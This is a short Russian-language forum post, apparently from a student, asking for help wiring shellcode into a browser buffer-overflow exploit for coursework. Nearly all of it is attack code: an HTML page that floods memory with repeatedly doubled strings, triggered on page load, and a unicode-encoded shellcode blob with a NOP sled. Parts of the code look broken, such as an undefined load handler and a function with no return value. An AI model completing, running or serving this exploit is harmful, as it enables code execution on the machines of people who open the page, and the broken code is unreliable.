Вставка шеллкода в эксплойт (срочно требуется помошь)
собственно сам эксплойт для переполнения буфера рабоатет на огнелисе и др браузерах
<html><head>
<script src="res://mshtml.dll/objectembed.jS"></script>
<script language="javascript">
function boom()
{
var longunistring1 = unescape("111111111111");
var longunistring2 = unescape("222222222222");
var longunistring3 = unescape("333333333333");
var longunistring4 = unescape("444444444444");
for(i=0; i<= 999 ; ++i)
{
longunistring1+=longunistring1;
longunistring2+=longunistring2;
longunistring3+=longunistring3;
longunistring4+=longunistring4;
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
}
document.write(longunistring1);
document.write(longunistring2);
document.write(longunistring3);
document.write(longunistring4);
document.write(document.body.innerHTML);
}
var objectSource=boom()+shellcode;
</script>
</head>
<body onload="ObjectLoad();" leftmargin="0" topmargin="0" scroll="no">
<form id="obtectDestination"></form></body>
</html>
нужно вставить шеллкод
var shellcode = unescape('%u9090邐襠擒劋謰劋'+
'謔⡲뜏♊Q쀱㲬籡Ⰲ선ා윁坒劋'+
'謐㱂퀁䂋蕸瓀Ŋ僐䢋謘⁘팁㳣證謴'+
'혁Q쀱솬ා윁紃㯸⑽識팁'+
'警䬌墋Ĝ诓謄퀁䒉孛奡党彘譚'+
'嶆㍨2栀獷弲桔睌ܦ헿邸⤀哄'+
'桐耩k헿偐偐偀偀¢觕㇇叛ɨ'+
'ᄀ襜櫦嘐桗朷헿坓띨㣩叕坓瑨'+
'㯬£埕잉畨䵮。棕浣d块ㅗ櫶夒'+
'曽䓇㰤ā䒍ဤÆ呄噐噖噆噎卖桖'+
'챹蘿헿噎f栰蜈思헿ꊵ桖閦鶽'+
'헿ؼﮀ痠묅ፇ潲js䇕');
так чтобы он запускался после выпонения операции переполнения буфера
сам не программист, но курсач надо по эксплойту написать
помогите , завтра здача уже
Последний раз редактировалось Elliajah, 27.05.2012 в 22:13.
|